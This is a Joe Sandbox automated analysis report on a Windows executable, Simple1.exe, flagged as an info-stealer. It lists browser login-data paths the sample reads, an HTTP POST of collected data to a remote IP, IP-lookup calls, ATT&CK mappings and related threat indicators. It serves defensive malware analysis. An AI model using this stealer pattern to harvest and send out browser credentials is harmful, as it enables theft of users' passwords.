Edit tour

Windows Analysis Report
Simple1.exe

Overview

General Information

Sample name:	Simple1.exe
Analysis ID:	1569937
MD5:	218954f9dd70247e51af8a30940d5c33
SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate network shares

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Detected potential crypto function

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Classification

Process Tree

System is w10x64

Simple1.exe (PID: 2520 cmdline: "C:\Users\user\Desktop\Simple1.exe" MD5: 218954F9DD70247E51AF8A30940D5C33)

conhost.exe (PID: 2136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.4% probability

Source: Simple1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple1.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple1.exe

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA93CD0 memset,NetUserEnum,NetApiBufferFree,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF7CEA93CD0

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP/1.0Host: api.ipify.org

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /userdata HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WebKitFormBoundaryUser-Agent: WinHTTP/1.0Content-Length: 97217Host: 185.237.165.97

Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/n
Source: Simple1.exe, 00000000.00000003.2104513902.0000015426F53000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F54000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdata
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatadllz
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataholS
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/x
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97:80/userdata
Source: Simple1.exe, 00000000.00000003.2079312766.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426EFB000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080044061.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: Simple1.exe, 00000000.00000003.2079312766.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080044061.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/T
Source: Simple1.exe, 00000000.00000002.2106875074.0000015426EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/nM
Source: Simple1.exe, 00000000.00000003.2079312766.0000015426F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:80/

Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA91B50	0_2_00007FF7CEA91B50
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA95D80	0_2_00007FF7CEA95D80
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA95510	0_2_00007FF7CEA95510
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA94E50	0_2_00007FF7CEA94E50
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA94A40	0_2_00007FF7CEA94A40

Source: classification engine

Classification label: mal52.spyw.winEXE@2/1@1/2

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA93780 GetLogicalDrives,memset,GetDiskFreeSpaceExA,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF7CEA93780

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2136:120:WilError_03

Source: Simple1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Simple1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Simple1.exe, 00000000.00000003.2080473707.0000015426FA4000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080180681.0000015426F7D000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080764987.0000015426F6F000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080635335.0000015426F7C000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080286887.0000015426F72000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080180681.0000015426F88000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080764987.0000015426FAE000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080473707.0000015426F94000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\Simple1.exe "C:\Users\user\Desktop\Simple1.exe"
Source: C:\Users\user\Desktop\Simple1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Simple1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Simple1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Simple1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple1.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple1.exe

Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Simple1.exe

Code function: malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF7CEA93AA0

Source: C:\Users\user\Desktop\Simple1.exe TID: 1644

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA93560 GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF7CEA93560

Source: Simple1.exe, 00000000.00000003.2079190470.0000015426F5F000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2104513902.0000015426F5F000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080017078.0000015426F5F000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426EFB000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F5F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Simple1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA9BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7CEA9BFAC

Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA9BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7CEA9BFAC
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA9C150 SetUnhandledExceptionFilter,	0_2_00007FF7CEA9C150
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF7CEA9BB00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7CEA9BB00

Source: C:\Users\user\Desktop\Simple1.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7CEA94640

Source: C:\Users\user\Desktop\Simple1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA9C1BC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7CEA9C1BC

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF7CEA94180 GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF7CEA94180

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\Simple1.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		0_2_00007FF7CEA95510
Source: C:\Users\user\Desktop\Simple1.exe	Code function: \AppData\Local\Chromium\User Data\Default\Login Data		0_2_00007FF7CEA95510

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials In Files	2 System Time Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://185.237.165.97:80/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/n	0%	Avira URL Cloud	safe
http://185.237.165.97/userdataholS	0%	Avira URL Cloud	safe
http://185.237.165.97/x	0%	Avira URL Cloud	safe
http://185.237.165.97/	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatadllz	0%	Avira URL Cloud	safe
http://185.237.165.97/userdata	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	Simple1.exe, 00000000.00000003.2079312766.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426EFB000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080044061.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/n	Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97:80/userdata	Simple1.exe, 00000000.00000002.2106875074.0000015426F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org/nM	Simple1.exe, 00000000.00000002.2106875074.0000015426EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/userdatadllz	Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org:80/	Simple1.exe, 00000000.00000003.2079312766.0000015426F25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/	Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdata	Simple1.exe, 00000000.00000003.2104513902.0000015426F53000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F54000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2106875074.0000015426F4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdataholS	Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org/T	Simple1.exe, 00000000.00000003.2079312766.0000015426F32000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2080044061.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/x	Simple1.exe, 00000000.00000002.2106875074.0000015426F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.237.165.97	unknown	France		52195	AP-MEDIA-ASPL	false
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569937
Start date and time:	2024-12-06 11:45:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Simple1.exe
Detection:	MAL
Classification:	mal52.spyw.winEXE@2/1@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 31 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Simple1.exe

Simulations

Behavior and APIs

Time	Type	Description
05:46:19	API Interceptor	1x Sleep call for process: Simple1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.237.165.97	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
185.237.165.97	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
104.26.13.205	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Simple2.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Simple2.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	lC7L7oBBMC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	NGVW0QXQSn.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	EU2Yvx0L9q.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	0XyV1vWJn6.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse	104.17.112.233
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	az10.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	TEKL_F _STE_I Unilever San ve Tic Trk A__PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://mmrtb.com/bonus/com-fr-1537/carrier/bundle_fr-5.js	Get hash	malicious	Unknown	Browse	172.67.168.88
	https://mmrtb.com/bonus/com-fr-1537/carrier/bundle_fr-5.js	Get hash	malicious	Unknown	Browse	172.67.168.88
AP-MEDIA-ASPL	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.180
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.237.165.180
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	0o37tv6BhU.elf	Get hash	malicious	Mirai	Browse	46.149.221.189
	YZfB2vyTrR.elf	Get hash	malicious	Mirai	Browse	46.149.221.169

